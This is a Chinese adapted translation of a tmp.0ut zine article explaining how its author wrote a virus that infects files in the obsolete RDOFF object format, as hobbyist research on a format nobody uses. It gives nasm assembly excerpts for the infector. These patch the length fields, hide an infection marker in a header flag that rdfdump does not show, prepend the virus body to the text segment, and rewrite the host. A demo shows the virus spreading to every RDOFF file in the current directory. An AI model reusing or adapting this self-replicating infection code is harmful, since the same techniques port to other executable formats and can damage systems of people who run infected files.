本文根据 tmp.0ut 第五期中 netspooky 的文章编译整理,非逐字翻译;文中观点均属于原作者。
原文:RDOFF Virus
文章内容来自 tmpout.sh,本译文依原站 CC BY-NC-SA 4.0 许可作为改编内容发布。如有侵权请通知,我会下架文章。 全文字符数:6134
引言
为了 BGGP6,作者研究了 RDOFF——一种原本用来测试 nasm 目标文件生成的冷门目标文件格式。RDOFF v1 随 nasm 0.91 于 1997 年首次发布;RDOFF2 于 2002 年底加入,扩展了既有实现的功能。格式的内部结构成为 nasm 文件生成管线的承重代码,每当其他输出格式需要改动时,它也会被重做(详见第一部分)。
RDOFF 在 nasm 2.16 中从仓库移除。生成 .rdf 文件的代码多年来一直没有正常工作,尽管 nasm 帮助文件仍收录它、其他汇编器也宣称兼容该格式。作者在网上找不到任何 RDOFF 示例文件,于是用 scapy 自己写了解析器与生成器。
修补 nasm 的 rdx 加载器、把 RDOFF 复活为可执行格式后,作者开始设想:如果这种格式曾被广泛使用会怎样?tmp.0ut 写的多是 ELF 的狡猾用法;ELF 吸收了 Linux 等平台支持的各种安全特性,也有一堆探索其内部与运行时的工具,生态经过多年酝酿。RDOFF 没有这些——事实上它不完整,许多宣传的功能从未实现。
于是,带着对“一个没人关心也没人使用的、不完整且过时的文件格式”的深刻理解,作者决定写一个 RDOFF 病毒。格式简单,病毒不需要花哨的东西。作者说:“让我们假装现在是 2002 年,做一个邪恶的 RDOFF!”
环境搭建
全部在 Ubuntu 22.04 x86_64 上测试:
sudo apt install autoconf automake build-essential binfmt-support
git clone -b nasm-2.15-rdoff-x64 https://github.com/netspooky/nasm
cd nasm
./autogen.sh
./configure
make everything
注册 binfmt(把解释器路径改成你构建 nasm 的位置):
echo ":.rdf:M::RDOFF2::/home/user/nasm/rdoff/rdx:" > /etc/binfmt.d/rdf.conf
binfmt 注册串语法为 :name:type:offset:magic:mask:interpreter:flags。重启服务并确认注册:
sudo systemctl restart systemd-binfmt
cat /proc/sys/fs/binfmt_misc/.rdf
enabled
interpreter /home/user/nasm/rdoff/rdx
flags:
offset 0
magic 52444f464632
测试:第一部分里的 global.rdf 应返回 6:
./global.rdf ; echo $?
6
RDOFF 结构
global.rdf 的文件结构(十六进制布局已省略,要点如下):
RDOFF2 magic | obj_len | hdr_len
├── Global Header:hdr type=global,指向 "_main" 标签与偏移
├── BSS Header:hdr type=bss,声明 bss 大小
├── Text Segment:seg type=text、seg number、长度,后跟代码
├── Data Segment:seg type=data、长度,后跟数据
└── Padding
一般结构是:RDOFF magic、文件长度、文件头(长度、描述 Global 与 BSS 的子头)、文本段头(代码)、BSS 段头(数据)。主头里两个子头描述 text 与 bss 两个段——这是 rdx 加载器支持的全部段类型。
命名有些不一致:文本段的子头主要叫 “global” section header,代码里有些地方叫 “extern”,另一些叫 “public”。关键信息是:该头描述了文本段相对 RDOFF 头末尾的偏移,并带标签 _main——_main 基本就是代码起始处的符号名,类似其他代码里的 _start。这个头指向的文本段有自己的头,包含长度与段号。BSS 头描述 BSS(又名 “Data”)段,但没有显式偏移;数据段是加载器要求的,但作者的程序用不到,里面放着字符 “6”。
文本段与数据段的结构和日常见到的 ELF、PE 可执行文件没有本质不同;关键差异是文本段在代码开始前紧挨着一个自己的小头。
病毒构思
引用 dnz 的话:“我们怎么给这个开后门?”
如第一部分所述,nasm 里的 RDOFF 解析器相当“怎么讲呢”。RDOFF 的代码与文档描述了很多特性,但实现的很少;完整实现的组件更少,大多是模板式解析然后打印 “Not supported yet”。大部分代码自 2002 年后就没动过,除了风格修正与库重命名。要给文件开后门,必须理解加载器与解析工具真正在乎什么。
第一个想法:在文件末尾加一个额外段,映射到 _main 文本段旁边、最好在它之前。这需要重写文件头以加入新文本段,并调整 _main 头的偏移指向病毒代码;病毒还要保留原入口点、结束后调用它。加载器支持这样做,但工作量大得多。
更简单的方案是基础文本感染:病毒把自己插到文本段开头,确保继续执行前先清理好现场。让这更简单的是:描述 _main 文本段的 global 头没有指定大小,只有偏移——不像 ELF 那样程序头同时描述文件内与内存中的段大小;实际大小存在段头里(由 global 头的偏移指向)。因此只要 payload 从文本段偏移 0(头结束后立即开始)处开始,就会先于其他任何代码触发,然后只需继续执行进主代码。
这个方法只需更新几个字段:
- RDOFF 头之后的文件大小;
- 文本段头里的段长度字段;
- 某个表示“文件已被感染”的标记。
因为完全没有任何人用 RDOFF,而 rdx 加载器又已被改成支持 x64,作者自行假定:任何 RDOFF 只会有一个文本段和一个数据段,头偏移因此保持不变。这大大简化了病毒技术的演示。
病毒逻辑
要更新的两个长度字段很容易。难点是选择感染标记的位置。
通常希望标记隐蔽:对 ELF,应藏在工具常解析的字段之外——许多 ELF 病毒用 ELF 头的填充区存数据,这样 readelf 之类基础工具的输出里不会出现。解析 RDOFF 的类 readelf 工具只有随 nasm 源码发布的 rdfdump。作者最初想用 Text Segment 的 Reservd 字段(没人用),但它会出现在 rdfdump 输出里——不过作者随即自嘲:“等等哈哈,什么分析师???”即使没人找这些文件,用 stock 工具看不到的字段仍然更稳妥,于是选中 global header 的 flags 字段。
这个 e.flags 值在 rdf_relocate() 映射段时被显式设为 0:
case 3: /* export record - add to symtab */
e.segment = r->e.segment;
e.offset = r->e.offset + (e.segment == 0 ? m->textrel : /* 0 -> code */
e.segment == 1 ? m->datarel : /* 1 -> data */
m->bssrel); /* 2 -> bss */
e.flags = 0; // e.label) + 1);
if (!e.name)
return 1;
strcpy(e.name, r->e.label);
symtabInsert(m->symtab, &e);
break;
段 flags 不出现在 rdfdump 输出里,隐蔽得多。病毒更新文件前后的映射:
┌─ RDOFF ─────────┐ ┌─ 已感染 RDOFF ────────┐
│ obj_len ────────│── update ──│─>obj_len + VX_SIZE │
│ global header │ │ global header │
│ flags = 0 ────│─── mark ───│─────>flags = 0x55 │
│ bss header │ │ bss header │
│ text segment │ │ text segment │
│ len ──────────│── update ──│─────>len + VX_SIZE │
│ code │ ┌── add ──│─────>VX_CODE │
│ data segment │ │ │ code │
└─────────────────┘ │ │ data segment │
│ └───────────────────────┘
VX_CODE ─────────┘
基础文件
作者决定用 nasm 自己生成基础文件——既然 nasm 即便打了补丁也产不出 RDOFF 文件,那就用它生成 raw binary 并在代码里手工构造文件结构,避免“字节精确到位”的痛苦;附加好处是每次构建都能生成描述全部符号的 map 文件,方便调试。
基础代码创建所需头(节选):
[map all mybin.map]
BITS 64
; RDOFF -----------------
rdf_begin:
db "RDOFF2" ; 0x00 magic
obj_len:
dd end_rdf - hdr ; 0x06 obj_len
hdr:
dd 0x14 ; 0x0A hdr_len
global_header:
db 0x3 ; 0x0E hdr_type: global
db 0xC ; 0x0F hdr_len: 12
db 0x55 ; 0x10 flags: 0x55 = 不要感染
db 0 ; 0x11 segment: 0
dd 0 ; 0x12 offset: 0
db "_main", 0 ; 0x16 label
bss_header:
db 0x5 ; 0x1C type: bss
db 0x4 ; 0x1D len: 4
dd 1 ; 0x1E bss_size: 1
seg_hdr_text:
dw 1 ; 0x22 seg_type: text
dw 0 ; 0x24 seg_number: 0
dw 0 ; 0x26 seg_resrvd: 0
seg_code_size:
dd seg_hdr_data - seg_code ; 0x28 seg_length: 12 bytes
之后还要加自己的代码遍历目录并感染文件。
调试
调试这段代码不容易:必须考虑 rdx 加载器先为 RDOFF 文件搭好进程映像再执行它。把下面内容放进 script.gdb:
break main
start
continue
break 89
continue
break *0x40000000
continue
然后这样运行 rdx:
gdb -x script.gdb --args ~/nasm/rdoff/rdx test.rdf
它会直接带你到 RDOFF 文件代码的开头。
改编 Linux.Nasty.asm
病毒思路很直白,实际上比针对 ELF 的病毒容易得多:路径基本相同,只是文件结构要按 RDOFF 调整。作者翻旧 tmp.0ut 找灵感与可复用逻辑,决定重新实现 TMZ 2020 年的 Linux.Nasty.asm——一个遍历目录里文件的 ELF 感染器,正好是所需。作者喜欢它写得干净、注释好、并且“我知道它能跑”;不想自己重写的就是目录解析逻辑,于是以此为起点。
TMZ 原代码用 fasm,作者用 nasm,所以有些地方要改。除移除 ELF 特定部分、调整数据引用方式外,主要新增一个用于计算各偏移的 RDOFF 结构(需要关心的字段已注释):
struc RDOFF
.magic resb 6
.obj_len resd 1 ; update
.hdr_len resd 1
.global_hdr_type resb 1
.global_hdr_len resb 1
.global_hdr_flags resb 1 ; check
.global_hdr_seg resb 1
.global_hdr_offset resd 1
.global_hdr_label resb 6
.bss_hdr_type resb 1
.bss_hdr_len resb 1
.bss_hdr_bss_size resd 1
.seg_txt_type resw 1
.seg_txt_number resw 1
.seg_txt_resrvd resw 1
.seg_txt_length resd 1 ; update
endstruc
nasm 会为结构自动生成总长度变量,这里即 RDOFF_size,为 0x2C。目录解析代码就位后,解析与更新字段的逻辑很简单:
.patch_rdoff_top:
add dword [r14 + RDOFF.obj_len], V_SIZE ;; 更新 obj_len
mov byte [r14 + RDOFF.global_hdr_flags], 0x55 ;; 用 0x55 标记文件
add dword [r14 + RDOFF.seg_txt_length], V_SIZE ;; 更新文本段长度
更新头后,把缓冲区里原文件的前 0x2C 字节复制到新文件:
.copy_rdoff_top:
mov rdi, r13 ; 目标 fd
mov rsi, r14 ; mmap *buff
mov rdx, RDOFF_size ;; RDOFF 头大小
mov rax, SYS_WRITE ;; 把修补后的 RDOFF 头写入宿主
syscall
然后把病毒主体写到宿主。TMZ 的代码用 call/pop/sub 技巧计算基址;大小由 nasm 构建期计算的 V_SIZE 给出:
.write_virus_body:
call .delta ; 古老的技巧
.delta:
pop rax
sub rax, .delta
mov rdi, r13 ; 目标临时 fd
lea rsi, [rax + v_start] ; 载入 *v_start
mov rdx, V_SIZE ; 病毒主体大小
mov rax, SYS_WRITE
syscall
病毒代码已复制到文本段开头,接着从代码里定义的 RDOFF 结构末尾(偏移 0x2C)复制文件其余部分,最后 sync 把改动落盘:
.write_everything_else:
mov rdi, r13
lea rsi, [r14 + RDOFF_size] ;; 直接定位到 RDOFF 代码开头
mov rdx, [r15 + STAT.st_size] ; 从栈取得宿主文件大小
sub rdx, RDOFF_size
mov rax, SYS_WRITE ;; 把宿主文件其余部分写入临时文件
syscall
mov rax, SYS_SYNC ; 把文件系统缓存落盘
syscall
至此,这个 RDOFF 文件能感染当前目录里的每个 RDOFF 文件。测试确认符合预期:
▶ ./example-program.rdf
This is an example program!
▶ ./virus.rdf
(打印 ASCII banner:greetings 2 the haunted computer club)
▶ ./example-program.rdf
(先打印 banner,再打印 This is an example program!)
结论
作者想为 RDOFF 写一个简单病毒,展示简单的感染技术。这个文件格式真的没人用——连创造者都不用;他为 BGGP6 创建的 RDOFF 文件仍是网上仅见的示例。这段代码(大概)是唯一存在的 RDOFF 病毒。作者不打算维护 nasm 2.15 的 rdx 或任何 RDOFF 工具,但如果这让你兴奋,你可以自己玩。
致谢:TMZ(写出经得起时间考验的漂亮代码)、tmp.0ut 团队与社区、binary golf 社区、haunted computer club,以及所有喜欢摆弄没人关心的东西的人——KEEP EXPLORING!
参考
- BGGP6 RDOFF 文章
- netspooky 的 RDOFF.py
- 打过补丁的 nasm rdoff 分支
- DJ Sammy – Heaven
- rdfload.c 中 flags 置零处
- Linux.Nasty.asm(tmp.0ut 1)
附录:virus.asm
原文附录给出完整病毒源码(RDOFF 结构注释、常量、目录遍历与感染逻辑),此处保留了正文讨论的关键片段;需要完整源文件请查看原页底部附录。
上一页:借助可达性分析实现自解压